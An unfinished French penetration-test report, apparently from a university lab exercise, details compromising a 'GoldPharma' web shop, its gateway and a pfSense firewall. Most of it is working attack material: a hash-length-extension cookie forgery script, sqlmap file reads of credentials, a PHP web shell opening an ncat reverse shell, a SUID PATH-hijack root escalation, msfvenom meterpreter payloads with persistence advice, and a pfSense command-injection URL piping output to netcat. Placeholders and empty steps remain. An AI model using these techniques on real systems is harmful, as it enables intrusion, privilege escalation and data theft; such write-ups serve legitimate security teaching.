La phase de reconnaissance est tout d'abord effectuée en observant le site dans son ensemble. Il est remarqué la possibilité d'effectuer des achats, donc d'avoir un compte et de s'y connecter.
Un compte est créé et les cookies sont examinés. Un cookie `mac` est présent ainsi qu'un `auth` : ils servent respectivement à identifier l'utilisateur ainsi que son panier, et l'autre sert à vérifier l'authenticité du cookie `auth`. <!-- VÉRIFIER ÇA --> <!-- VÉRIFIER ÇA --> <!-- VÉRIFIER ÇA -->
Exemple dudit cookie :
```bash
a:3:{s:2:"id";s:2:"71";s:5:"admin";s:1:"0";s:4:"cart";a:6:
{s:6:"Cialis";i:1;s:8:"Erexin-V";i:1;s:17:"Extra Super
Avana";i:1;s:21:"Psychedelic mushrooms";i:1;s:7:"Tobacco";i:2;s:6:"Viagra";i:1;}}
```
Ici, l'utilisateur est identifié par l'id `71` et a comme panier les produits présents dans `cart`.
Une autre fonctionnalité du site est de pouvoir modifier son profil, notamment l'ajout d'une photo de profil. Des vulnérabilités de type /type/ ont été testées, mais cela était impossible à réaliser car les noms des photos téléversées est généré au hasard, donc inexploitable car il ne semble pas y avoir de *LFI* — *local file inclusion* — présentes sur le site.
Du *fuzzing* est ensuite réalisé sur les répertoires du site. Pour cela, l'outil `Gobuster` a été utilisé avec une liste de mots de grande taille (`big.txt` de **SecLists**). Les répertoires suivants ont été trouvés :
- `/admin` : page narguant les personnes trop curieuses
- `/uploads` : déjà trouvé auparavant
- `/phpmyadmin`
- `/inc` : détaillé ci-après
Le répertoire `/inc` contient une sauvegarde (*backup*) du fichier `utils.php`, ce qui permet de retrouver le code source de cette page (`utils.php~`) :
```php
<?php
function bbcode($msg) { /* Only [img] for now */
$texte = preg_replace('~\[img](.*?)\[/img\]~s','<img src="$1">',$msg);
$texte = htmlspecialchars_decode($texte,ENT_QUOTES);
return $texte;
}
/*
if(testCookie()) {
// We could store others things in the future so we split with \n
$tmp_array = explode("\n",urldecode($_COOKIE['auth']));
for ($i = 0; $i < count($tmp_array); $i++)
$cookie=unserialize($tmp_array[$i]); // Todo an array
}
*/
function testCookie() {
if (isset($_COOKIE['auth']) && isset($_COOKIE['mac'])) {
$hash = sha1(SECRET.urldecode($_COOKIE['auth']));
if($hash === $_COOKIE['mac'])
return true;
}
return false;
}
function randStr($len) {
$charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
$charsetLen=strlen($charset) - 1;
$random = array();
for($i = 0;$i < $len;$i++)
$random[$i] = $charset[mt_rand(0,$charsetLen)];
return implode($random);
?>
```
Ce code permet de mieux comprendre comment le cookie mac est généré et de trouver des pistes pour une attaque sur celui-ci afin de faire croire au site que le cookie `auth` forgé est légitime, i.e. changer le champs admin de valeur `0` en `1`.
Le cookie n'est pas seul dans le `sha1`, il est concatené à une variable `SECRET` non récupérée à ce stade. Il s'agit donc ici d'effectuer une attaque de type *hash extension attack*.
La taille de clé est inconnue mais il est possible de bruteforce cette taille en utilisant un outil issu de **GitHub** : `hashextender`. Ce dernier permet d'implémenter l'attaque.
Le code le code suivant indique comment il a été possible d'obtenir les droits `admin` sur **Goldpharma** :
```python
import requests
import sys
import subprocess
'''
This script need this tool : https://github.com/iagox86/hash_extender
'''
def cmdline(command):
proc = subprocess.Popen(
str(command), stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True)
(out, err) = proc.communicate()
return out
HASH_EXTENDER_BIN_PATH = "/opt/hash_extender/hash_extender"
DATA = 'a:3:{s:2:"id";s:2:"75";s:5:"admin";s:1:"0";s:4:"cart";a:0:{}}'
APPEND = '\na:3:{s:2:"id";s:2:"75";s:5:"admin";s:1:"1";s:4:"cart";a:0:{}}'
SIGNATURE = "d29bd1f2015746fab551d5d88287aa4726c223b0"
for key_length in range(1,32):
print("[*] Trying " + str(key_length), end="")
shell = cmdline(
HASH_EXTENDER_BIN_PATH+" -q --out-data-format=html -d '"+DATA+ "' -s "+
SIGNATURE + " -a '" + APPEND + "' -f sha1 -l " + str(key_length))
new_hash = shell.decode()[:40]
msg = shell.decode()[40:]
cookies = { "auth" : msg, "mac" : new_hash }
page = requests.get("http://localhost/?page=account", cookies=cookies)
if "not connected" in page.text.lower():
print(" : Failed")
else:
print(" : Success")
print("\nAUTH Cookie : " + msg)
print("\nMAC Cookie : " + new_hash)
sys.exit()
```
Une fois l'exécution du script terminée, il suffit de copier les deux cookies ci-dessous dans le navigateur et le compte obtient les droits `admin` :
```bash
[*] Trying 1 : Failed
[*] Trying 2 : Failed
[*] Trying 3 : Failed
[*] Trying 4 : Failed
[*] Trying 5 : Failed
[*] Trying 6 : Failed
[*] Trying 7 : Failed
[*] Trying 8 : Failed
[*] Trying 9 : Failed
[*] Trying 10 : Failed
[*] Trying 11 : Failed
[*] Trying 12 : Failed
[*] Trying 13 : Failed
[*] Trying 14 : Failed
[*] Trying 15 : Failed
[*] Trying 16 : Success
AUTH Cookie :
a%3a3%3a%7bs%3a2%3a%22id%22%3bs%3a2%3a%2275%22%3bs%3a5%3a%22admin%22%3bs%3a1%3a
%220%22%3bs%3a4%3a%22cart%22%3ba%3a0%3a%7b%7d%7d%80%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%02h%0aa%3a3%3a%7bs%3a2%3a%22id%22%3bs%3a2
%3a%2275%22%3bs%3a5%3a%22admin%22%3bs%3a1%3a%221%22%3bs%3a4%3a%22cart%22%3ba%3a
0%3a%7b%7d%7d
MAC Cookie : a3899c7233f456d3822f8eca9b96829003f071d8
```
Une fois l'accès au compte admin sur **GoldPharma** récupéré , il est possible de regarder la liste des comptes sur le site. Le lien vers la liste des comptes est celui-ci :
http://ppti-msi-6.ufr-info-p6.jussieu.fr/?page=admin&action=list_acc
Il s'avère que ce le paramètre `action` semble **vulnérable** aux **injections SQL** (test simple sans outil). `sqlmap` est utilisé contre ce paramètre et il est effectivement vulnérable à des **injections SQL aveugles**.
À ce point, **toutes les tables** ont pu être **listées** et il a été également possible de réaliser un *dump* de toutes les données de la base de données. <!-- VÉRIFIER SI EN CLAIR POUR RGPD --> N'importe quel fichier arbitraire peut également être lu sur la base de données en utilisant l'option `--file-read` avec `sqlmap`. Le fichier `config.php` a donc pu être lu pour obtenir les identifiants du compte `phpmyadmin`.
En s'y connectant, il est possible de téléverser (*upload*) un *webshell* dans le répertoire `uploads` et de récupérer tous le code source du site pour vérifier que l'upload de la photo de profil était bien inexploitable, ce qui était le cas.
L'étape suivante consiste à écrire du code `php` pour se connecter à une machine de la PPTI et ainsi obtenir un *shell* en tant que `www-admin` sur la machine **Goldpharma** grâce au code ci-dessous :
```php
<?php
if(!isset($_GET["passwd"]) || $_GET["passwd"] !== "msi2020" || !isset($_GET["IP"]) ||
!isset($_GET["PORT"]))
die("die");
exec("ncat ".$_GET["IP"]." ".$_GET["PORT"]." -e /bin/bash > /dev/null 2>&1 &");
?>
```
Description de la méthode :
1. Ouverture d'un *listener* sur une des machines de la ppti : `nc -lvp 5555`
2. Exécution d'une requête vers `http://ppti-msi-6.ufr-info-p6.jussieu.fr/uploads/open_rs.php?passwd=msi2020&IP=132.227.118.20&PORT=5555`
3. L'attaquant est désormais connecté à la machine **GoldPharma**
Les étapes suivantes permettent d'obtenir un *shell* stable :
- `python -c "import pty;pty.spawn('/bin/bash')"`
- `CTRL+Z`
- `$ stty raw -echo`
- `$ fg`
- `export TERM=xterm`
Un script <!-- LEQUEL??? --> permettant de lire n'importe quel fichier peut être trouvé et utilisé dans un premier temps pour tenter de *cracker* le mot de passe d'admin (`/etc/shadow`). Cependant, cela n'aboutit pas.
Il est possible de **lire** la **clé privée** *admin* et la **copier** dans `/tmp` pour s'y **connecter** en tant qu'*admin*.
L'élévation de privilège vers `root` exploite le fait que le script permettant de lire un fichier avait le `SUID` bit activé. Le script utilise `whoami`. En remplaçant l'appel à `whoami` par un fichier "whoami" nouvellement créé contenant `/bin/bash` cela permet d'obtenir les droit root :
```bash
admin@frontend:/tmp$ ./root_shell
# id
uid=1001(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
```
Une fois les droits `root` obtenus sur la machine "principale", un scan de toutes les machines sur le même réseau a été réalisé. Cela permet de se connecter à la *gateway* en utilisant la clé privée admin et de la ping :
````bash
bash-4.3$ ping 172.16.0.254 # adresse de la gateway
ping 172.16.0.254
PING 172.16.0.254 (172.16.0.254) 56(84) bytes of data.
64 bytes from 172.16.0.254: icmp_seq=1 ttl=64 time=0.046 ms
64 bytes from 172.16.0.254: icmp_seq=2 ttl=64 time=0.072 ms
64 bytes from 172.16.0.254: icmp_seq=3 ttl=64 time=0.082 ms
````
La première machine correspond à une installation de `Cyclades® ACS Advanced Console Server` :
<!--METTRE IMAGE-->
<!--METTRE IMAGE-->
<!--METTRE IMAGE-->
<!--METTRE IMAGE-->
Le code source est examiné, ainsi que les requêtes web envoyées lors de l'envoi de `username` et `password`, ce qui permet de révéler un **URI atypique** sur le site, qui peut aussi être retrouvé dans le code source directement : `action="/goform/Dmf">`
En utilisant un moteur de recherche avec les termes :
```bash
site : github.com 'action="/goform/Dmf">'
```
cela permet de trouver un *repository* **GitHub** correspondant au code source complet du site.
Le répertoire a pu être cloné, ce qui a permis d'explorer en local des techniques de création d'utilisateurs ou de changement de mot de passe pour accéder à la partie *wizard* du `Cyclades ACS Web Manager`. La nature de l'appareil pourrait-être un `Cyclades ACS 5000 Series`.
Une autre piste pour une autre machine a pu être trouvée. En effet, dans le dossier `/root` de la machine **GoldPharma**, un script lancé toutes les 2 minutes sur le NAS synchronise les *backups* depuis le *frontend* et puis les compresse :
```bash
#!/bin/bash
# This script is executed every 2 minutes on the internal NAS
rsync -avzh admin@172.16.0.50:/home/admin/backups/ /home/admin/backups/
cd /home/admin/backups && tar xf backups.tar *
```
# Partie Gateway
## Liste des vulnérabilités
## Test d'intrusion
user : `admin`
L'outil `linux exploit suggester` permet d'obtenir une liste d'*exploits* potentiellement effectifs sur cette machine :
![image de la liste d'exploit]()
Après en avoir testé plusieurs, il s'avère qu'une variante pour les **kernels 4.4.x** de la **POC** de la **CVE-2017-16995** fonctionne sur cette machine, permettant d'obtenir un accès root en exécutant le binaire compilé au préalable sur la machine attaquante:
![image du root uid sur la gateway]()
Depuis l'adresse un terminal ouvert sur **GoldPharma** (`176.31.251.122`) il est possible de se connecter directement en `root` à la *gateway* (`172.16.0.254`)via ssh :
```bash
www-data@frontend:~/html/uploads$ ssh -i /tmp/adSK admin@172.16.0.254
```
# Partie pfSense
## Liste des vulnérabilités
## Test d'intrusion
À ce stade, la machine victime **GoldPharma** ainsi que la *gateway* ont pu être accédées.
Pour rappel :
- Adresse IP de **GoldPharma** : `176.31.251.122`
- Adresse IP de la ***gateway*** : `172.16.0.254`
L'attaquant cherche désormais à se propager sur le pare-feu. Pour cela, suivre les étapes suivantes :
1. Créer le reverse tcp shell sur la machine attaquante
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=132.227.118.20 LPORT=3485 -f elf > exim-4.2_update.elf
```
2. Configurer les droit au fichier tranféré
```bash
root_shell
chmod +x /tmp/exim-4.2_update.elf
```
3. Utiliser netcat pour téléverser le fichier binaire créé
```bash
nc -lvp 3486 < exim-4.2_update.elf # <-- exécuter sur machine attaquante
```
```bash
nc 132.227.118.20 3486 > /tmp/exim-4.2_update.elf # <-- exécuter sur machine victime GoldPharma
```
4. Utiliser Metasploit pour établir la connexion avec le *reverse shell*
```bash
msfconsole
use exploit/multi/handler
set LHOST 176.31.251.122
set LPORT 3486 # port local
set payload linux/x86/meterpreter/reverse_tcp
run
```
5. Exécuter le binaire sur la machine victime
```bash
./exim-4.2_update.elf & # localisé dans /tmp/
```
L'exécution du fichier binaire permet ainsi de récupérer un *reverse shell* depuis la machine victime[^note¹].
[^note¹]: L'attaquant ayant les droits `root` sur la machine victime, il pourrait créer un crontab exécutant le fichier périodiquement afin de rajouter de la persistance sur son attaque.
6. Accéder à pfSense par l'`URL` https://176.31.251.122:4443/ et accepter le "risque"
<img src="/Users/steverey/Desktop/screen_pmsi/1.png" alt="1" style="zoom: 50%;" />
7. Se connecter avec les identifiants
1. Utiliser `user` à la fois pour `Username` et `Password` pour accéder à `index.php`.
2. Un message d'erreur est s'affiche car le port utilisé est `4443` et non `443`:

8. Étape suivante :
9. Étape suivante encore :
<img src="/Users/steverey/Desktop/screen_pmsi/3_status_rrd_graph.png" alt="3_status_rrd_graph" style="zoom: 50%;" />
10. Etc :
11. Etc :
12. Etc :
13. Etc :
La version de **pfSense** est vulnérable à une RCE (*Remote Code Execution*), i.e. à de l'exécution de code arbitraire à distance : [lien](https://www.cvedetails.com/cve/CVE-2014-4688/).
La documentation de la vulnérabilité par pfSense ([lien CVE Details](https://www.netgate.com/assets/downloads/advisories/pfSense-SA-14_10.webgui.asc)) indique :
> ```
> II. Problem Description
>
> Multiple Command Injection vulnerabilities were discovered in the
> pfSense WebGUI during a security audit.
>
> * Command Injection in diag_dns.php [CVE-2014-4688]
> * Command Injection in diag_smart.php [CVE-2014-4688]
> * Command Injection in status_rrd_graph_img.php [CVE-2014-4688]
>
> The host value passed via POST on diag_dns.php during the "Create Alias"
> action is not properly validated or sanitized. A specially-crafted string
> sent as the "hostname" value can trigger the vulnerability.
>
> An unused "update e-mail" function is still active on the diag_smart.php
> page and its variables are not properly validated or sanitized. A specially
> crafted string sent as the "smartmonemail" value can trigger the
> vulnerability.
>
> The database value passed to status_rrd_graph_img.php is not properly
> validated or sanitized. A specially crafted string sent as the "database"
> value can trigger the vulnerability.
> ```
Sur la page CVE Details cité précédemment, un lien vers **Exploit DB** permet d'accéder à l'exploitation de la vulnérabilité ([lien](https://www.exploit-db.com/exploits/43560)). Le script exploitant la vulnérabilité explique comment la réaliser :
> ```py
> pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
> This script will return a reverse shell on specified listener address and port.
> Ensure you have started a listener to catch the shell before running!
> ```
Attaquer le pare-feu **pfSense** est possible depuis la *gateway* en ouvrant un `netcat` *listener* sur cette dernière, puis en accédant à l'URL suivant du pare-feu : `https://localhost/status_rrd_graph_img.php?database=queues;ls /tmp | nc 172.16.0.254 4448`
## Text Formating
Regular, **bold**, *italic*, ~~strike~~, ==hightlight==, `inline-code`,*emphasis^,<!--comment-->,